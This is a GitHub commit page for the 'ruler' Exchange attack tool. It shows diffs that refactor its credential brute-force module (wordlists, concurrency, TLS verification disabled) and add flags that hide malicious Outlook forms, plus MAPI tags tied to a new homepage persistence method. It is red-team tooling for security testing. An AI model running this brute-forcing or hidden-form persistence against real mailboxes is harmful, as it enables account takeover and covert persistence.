Skip to content

Commit

Permalink
Merge pull request #56 from sensepost/debug
Browse files Browse the repository at this point in the history
Merge new Homepage method
  • Loading branch information
staaldraad authored Oct 11, 2017
2 parents 43f47e9 + 658fb1b commit 8f146e4
Show file tree
Hide file tree
Showing 15 changed files with 2,615 additions and 1,204 deletions.
19 changes: 11 additions & 8 deletions autodiscover/autodiscover.go
Original file line number Diff line number Diff line change
Expand Up @@ -248,6 +248,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er
if SessionConfig.Basic == false {
//check if this is a first request or a redirect
//create an ntml http client

client = http.Client{
Transport: &httpntlm.NtlmTransport{
Domain: SessionConfig.Domain,
Expand All @@ -256,9 +257,11 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er
NTHash: SessionConfig.NTHash,
Insecure: SessionConfig.Insecure,
CookieJar: SessionConfig.CookieJar,
Proxy: SessionConfig.Proxy,
},
Jar: SessionConfig.CookieJar,
}

}

var autodiscoverURL string
Expand All @@ -269,27 +272,25 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er
} else {
//create the autodiscover url
if autodiscoverStep == 0 {
autodiscoverURL = createAutodiscover(domain, true)
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true)
if autodiscoverURL == "" {
autodiscoverStep++
}
}
if autodiscoverStep == 1 {
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true)
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false)
if autodiscoverURL == "" {
autodiscoverStep++
}
}
if autodiscoverStep == 2 {
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false)
autodiscoverURL = createAutodiscover(domain, true)
if autodiscoverURL == "" {
return nil, "", fmt.Errorf("Invalid domain or no autodiscover DNS record found")
}
}
}

utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)

req, err := http.NewRequest("POST", autodiscoverURL, strings.NewReader(r))
req.Header.Add("Content-Type", "text/xml")
req.Header.Add("User-Agent", "ruler")
Expand Down Expand Up @@ -330,9 +331,11 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er

defer resp.Body.Close()

if resp.StatusCode == 401 || resp.StatusCode == 403 {
return nil, autodiscoverURL, fmt.Errorf("Access denied. Check your credentials")
}

if resp.StatusCode == 401 || resp.StatusCode == 403 {
return nil, autodiscoverURL, fmt.Errorf("Access denied. Check your credentials")
}


body, err := ioutil.ReadAll(resp.Body)
if err != nil {
Expand Down
128 changes: 85 additions & 43 deletions autodiscover/brute.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package autodiscover

import (
"crypto/tls"
"fmt"
"io/ioutil"
"net/http"
Expand All @@ -25,43 +26,58 @@ type Result struct {

var concurrency = 3 //limit the number of consecutive attempts

var delay = 5
var consc = 3
var usernames []string
var passwords []string
var userpass []string
var autodiscoverURL string
var basic = false
var verbose = false
var insecure = false
var stopSuccess = false


func autodiscoverDomain(domain string) string {
var autodiscoverURL string

//check if this is just a domain or a redirect (starts with http[s]://)
if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true {
autodiscoverURL = domain
utils.Info.Printf("Using end-point: %s\n", domain)
} else {
//create the autodiscover url
if autodiscoverStep == 0 {
autodiscoverURL = createAutodiscover(domain, true)
utils.Info.Println("Trying to Autodiscover domain")
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true)
utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
if autodiscoverURL == "" {
autodiscoverStep++
}
}
if autodiscoverStep == 1 {
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true)
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false)
utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
if autodiscoverURL == "" {
autodiscoverStep++
}
}
if autodiscoverStep == 2 {
autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false)
autodiscoverURL = createAutodiscover(domain, true)
utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
if autodiscoverURL == "" {
return ""
}
}
}

utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)

req, err := http.NewRequest("GET", autodiscoverURL, nil)
req.Header.Add("Content-Type", "text/xml")

tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := http.Client{Transport:tr}
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := http.Client{Transport: tr}

resp, err := client.Do(req)

Expand All @@ -72,6 +88,8 @@ func autodiscoverDomain(domain string) string {
}
return ""
}

//check if we got prompted for authentication, this is normally an indicator of a valid endpoint
if resp.StatusCode == 401 || resp.StatusCode == 403 {
return autodiscoverURL
}
Expand All @@ -82,24 +100,49 @@ func autodiscoverDomain(domain string) string {
return ""
}

//BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL
//And whether to stop on success
func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSuccess, verbose bool, consc, delay int) {
utils.Info.Println("Trying to Autodiscover domain")
autodiscoverURL := autodiscoverDomain(domain)
//Init function to setup the brute-force session
func Init(domain, usersFile, passwordsFile, userpassFile string, b, i, s, v bool, c, d, t int) error {
autodiscoverURL = autodiscoverDomain(domain)

if autodiscoverURL == "" {
return
return fmt.Errorf("No autodiscover end-point found")
}

stopSuccess = s
insecure = i
basic = b
verbose = v
delay = d
consc = c
concurrency = t

if autodiscoverURL == "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" {
basic = true
}

if userpassFile != "" {
userpass = readFile(userpassFile)
if userpass == nil {
return fmt.Errorf("Unable to read userpass file")
}
return nil
}
usernames := readFile(usersFile)
usernames = readFile(usersFile)
if usernames == nil {
return
return fmt.Errorf("Unable to read usernames file")
}
passwords := readFile(passwordsFile)
passwords = readFile(passwordsFile)
if passwords == nil {
return
return fmt.Errorf("Unable to read passwords file")
}

return nil
}

//BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL
//And whether to stop on success
func BruteForce() {

attempts := 0
stp := false

Expand All @@ -113,7 +156,9 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
if u == "" || p == "" {
continue
}
time.Sleep(time.Millisecond * 500) //lets not flood it

time.Sleep(time.Millisecond * 500) //lets not flood it

sem <- true

go func(u string, p string, i int) {
Expand All @@ -133,7 +178,6 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
usernames = append(usernames[:out.Index], usernames[out.Index+1:]...)
if stopSuccess == true {
stp = true

}
}
}(u, p, ui)
Expand All @@ -155,17 +199,7 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
}

//UserPassBruteForce function does a bruteforce using a supplied user:pass file
func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSuccess, verbose bool, consc, delay int) {
utils.Info.Println("Trying to Autodiscover domain")
autodiscoverURL := autodiscoverDomain(domain)

if autodiscoverURL == "" {
return
}
userpass := readFile(userpassFile)
if userpass == nil {
return
}
func UserPassBruteForce() {

count := 0
sem := make(chan bool, concurrency)
Expand All @@ -178,7 +212,7 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces
// verify colon-delimited username:password format
s := strings.SplitN(up, ":", 2)
if len(s) < 2 {
utils.Fail.Printf("Skipping improperly formatted entry in %s:%d\n", userpassFile, count)
utils.Fail.Printf("Skipping improperly formatted entry at line %d\n", count)
continue
}
u, p := s[0], s[1]
Expand All @@ -188,7 +222,9 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces
if u == "" {
continue
}
time.Sleep(time.Millisecond * 500) //lets not flood it

time.Sleep(time.Millisecond * 500) //lets not flood it

sem <- true

go func(u string, p string) {
Expand Down Expand Up @@ -236,10 +272,11 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
result := Result{user, password, -1, -1, nil}

cookie, _ := cookiejar.New(nil)
tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DisableKeepAlives:true, //should fix mutex issues
}
client := http.Client{Transport:tr}

tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DisableKeepAlives: true, //should fix mutex issues
}
client := http.Client{Transport: tr}

if basic == false {
//check if this is a first request or a redirect
Expand All @@ -258,8 +295,8 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
req, err := http.NewRequest("GET", autodiscoverURL, nil)
req.Header.Add("Content-Type", "text/xml")

//if we have been redirected to outlook, change the auth header to basic auth
if basic == false {
//if basic authi is required, set auth header
if basic == true {
req.SetBasicAuth(user, password)
}

Expand All @@ -270,15 +307,20 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
if m, _ := regexp.Match("illegal base64", []byte(err.Error())); m == true {
client = http.Client{Transport: InsecureRedirectsO365{User: user, Pass: password, Insecure: insecure}}
resp, err = client.Do(req)
if err != nil {
result.Error = err
return result
}
} else {

result.Error = err
return result
}

}

defer resp.Body.Close()

if resp != nil {
defer resp.Body.Close()
}
result.Status = resp.StatusCode
return result
}
3 changes: 2 additions & 1 deletion forms/rulerforms.go
Original file line number Diff line number Diff line change
Expand Up @@ -92,7 +92,7 @@ func CreateFormAttachmentWithTemplate(folderid, messageid []byte, pstr, template
//CreateFormMessage creates the associate message that holds the form data
func CreateFormMessage(suffix, assocRule string) ([]byte, error) {
folderid := mapi.AuthSession.Folderids[mapi.INBOX]
propertyTagx := make([]mapi.TaggedPropertyValue, 9)
propertyTagx := make([]mapi.TaggedPropertyValue, 10)
var err error

propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagMessageClass, PropertyValue: utils.UniString("IPM.Microsoft.FolderDesign.FormsDescription")}
Expand All @@ -104,6 +104,7 @@ func CreateFormMessage(suffix, assocRule string) ([]byte, error) {
propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSendOutlookRecallReport, PropertyValue: []byte{0xFF}} //set to true for form to be hidden :)
propertyTagx[7] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6830, PropertyValue: append([]byte("&Open"), []byte{0x00}...)}
propertyTagx[8] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagComment, PropertyValue: utils.UniString(assocRule)} //set this to indicate that a rule is present for this form
propertyTagx[9] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagHidden, PropertyValue: []byte{0x01}}

//create the message in the "associated" contents table for the inbox
msg, err := mapi.CreateAssocMessage(folderid, propertyTagx)
Expand Down
12 changes: 12 additions & 0 deletions mapi/constants.go
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,10 @@ var (
ErrUnknown = errors.New("mapi: an unhandled exception occurred")
//ErrNotAdmin when attempting to get admin access to a mailbox
ErrNotAdmin = errors.New("mapi: Invalid logon. Admin privileges requested but user is not admin")
//ErrEmptyBuffer when we have returned a buffer that is too big for our RPC packet.. sometimes this happens..
ErrEmptyBuffer = errors.New("An empty response buffer has been encountered. Likely that our response was too big for the current implementation of RPC/HTTP")
//ErrNonZeroStatus when the execute response status is not zero - this is not the same as the individual ROP messages erroring out
ErrNonZeroStatus = errors.New("The execute request returned a non-zero status code. Use --debug to see full response.")
)

const (
Expand Down Expand Up @@ -496,6 +500,9 @@ var PidTagPrimarySendAccount = PropertyTag{PtypString, 0x0E28}
//PidTagObjectType used in recepient
var PidTagObjectType = PropertyTag{PtypInteger32, 0x0FFE}

//PidTagImportance used in recepient
var PidTagImportance = PropertyTag{PtypInteger32, 0x0017}

//PidTagDisplayType used in recepient
var PidTagDisplayType = PropertyTag{PtypInteger32, 0x3900}

Expand Down Expand Up @@ -609,3 +616,8 @@ var PidTag6900 = PropertyTag{0x0003, 0x6900}
var PidTagComment = PropertyTag{PtypString, 0x3004}

var PidTagSenderEntryId = PropertyTag{PtypBinary, 0x0C19}
var PidTagFolderWebViewInfo = PropertyTag{PtypBinary, 0x36DF}
var PidTagPurportedSenderDomain = PropertyTag{PtypString, 0x4083}
var PidTagBodyContentLocation = PropertyTag{PtypString, 0x1014}

var PidTagClientInfo = PropertyTag{PtypString, 0x80C7}
1 change: 1 addition & 0 deletions mapi/datastructs-abk.go
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@ type BindRequest struct {
AuxiliaryBuffer []byte
}

//BindRequestRPC the bind request used for abk
type BindRequestRPC struct {
Flags uint32
State []byte //optional 36 bytes
Expand Down
Loading

0 comments on commit 8f146e4

Please sign in to comment.